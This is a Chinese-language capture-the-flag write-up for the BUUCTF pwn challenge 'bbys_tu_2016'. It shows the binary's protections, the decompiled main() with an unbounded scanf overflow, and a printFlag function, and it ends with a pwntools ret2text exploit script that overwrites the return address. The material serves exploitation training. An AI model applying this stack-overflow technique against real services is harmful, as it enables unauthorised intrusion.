bbys tu 2016

# bbys tu 2016

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/bbys_tu_2016/bbys_tu_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

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# 静态分析

主函数如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+14h] [ebp-Ch]

  puts("This program is hungry. You should feed it.");
  __isoc99_scanf("%s", &v4);
  puts("Do you feel the flow?");
  return 0;
}

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printFlag函数如下：

int printFlag()
{
  char s; // [esp+1Ah] [ebp-3Eh]
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  fgets(&s, 50, stream);
  puts(&s);
  fflush(stdout);
  return fclose(stream);
}

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静态链接

# 思路分析

目前信息：
- main函数存在任意长度的溢出点
- printFlag函数可打印flag
- No canary found
- NX enabled
- No PIE
思路：
- 32位ret2text

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/bbys_tu_2016/bbys_tu_2016'
# io = remote('node4.buuoj.cn', 26261)
io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x14+4
printFlag_addr=elf.symbols['printFlag']
main_addr=elf.symbols['main']
payload=flat(['a'*padding,printFlag_addr,main_addr])
io.sendline(payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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